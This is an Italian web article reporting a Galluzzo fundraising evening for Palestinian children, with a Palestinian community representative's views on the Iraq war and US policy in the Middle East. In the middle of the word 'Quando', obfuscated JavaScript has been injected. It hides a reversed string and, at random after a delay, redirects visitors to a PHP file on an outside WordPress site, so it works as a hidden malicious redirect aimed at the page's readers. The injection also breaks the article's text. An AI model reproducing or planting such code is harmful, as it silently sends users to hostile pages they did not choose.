Tempo di pace?

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Il 5 Aprile scorso presso il circolo ARCI del Galluzzo si è svolta una serata finalizzata alla raccolta di fondi per l’adozione a distanza di bambini palestinesi feriti dall’esercito israeliano.
Durante tale evento, organizzato dall’Associazione “Italia – Palestina” e dal circolo di Rifondazione Comunista “S. Falsini” del Quartiere 3, abbiamo raccolto le opinioni in merito alle ricadute che il conflitto in Iraq avrà sulla lotta di liberazione del popolo palestinese e più in generale sulla situazione geopolitica del Medio Oriente.
Secondo Iounis Koutiba, rappresentante della comunità Palestinese in Italia, la guerra che gli USA hanno dichiarato all’Iraq ha lo scopo di porre sotto controllo un’area strategica per meglio domare qualunque forma di resistenza anti imperialista che recentemente è stata fatta propria dalle masse arabe, anche in disaccordo con alcuni governanti colpevoli di attuare una politica troppo filo occidentale.
Tutto si collega alla lotta di liberazione del popolo palestinese che viene percepita dagli arabi come possibilità di riscatto dall’oppressione economica e politica degli USA e di Israele.
Ma un’emancipazione araba costituirebbe un grave pericolo per Israele e di conseguenza per gli USA, soprattutto dal punto di vista economico; lo dimostra la storia stessa dell’ Iraq che prima di Saddam Hussein era un paese molto ricco e florido ed era un diretto concorrente economico di Israele.
L’ascesa del dittatore iracheno è stata fortemente aiutata anche dagli Stati Uniti sia per arginare le conseguenze della rivoluzione iraniana, sia per meglio controllare le stesse risorse irachene.
Qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando poi Saddam è divenuto troppo impresentabile a causa dei massacri da lui perpetrati, è stato spinto ad invadere il Kuwait (nel 1991 ebbe l’avallo dell’ambasciatore statunitense) in modo da poter creare una “scusa” per attaccarlo.
Da quel momento il calvario che il popolo iracheno aveva già vissuto sotto Saddam si è accentuato per colpa dell’embargo e adesso dei bombardamenti.
Contestualmente alla guerra in Iraq, gli Stati Uniti insieme ad Europa ed Israele hanno chiesto la sostituzione di Arafat in Palestina con un uomo (il neo Primo Ministro) con cui fosse più semplice dialogare, in modo da poter mettere un freno all’intifada.
Nel nuovo piano di pace il territorio da restituire ai palestinesi è molto minore rispetto a quello originario, pertanto è possibile che la “pace” sia ancora lontana, quindi un presidente palestinese “amico” dell’Occidente ed una postazione strategica quale l’Iraq possono essere un buon deterrente per qualsiasi rivolta o lotta di liberazione.
Insomma, da quello che abbiamo potuto capire il conflitto che si è appena concluso (per modo di dire) è soltanto l’inizio di una situazione di guerra permanente nella quale migliaia di innocenti verranno sterminati in nome del controllo economico di un’area che ha la grande “sfortuna” di essere ricca di risorse, prima fra tutte il petrolio.

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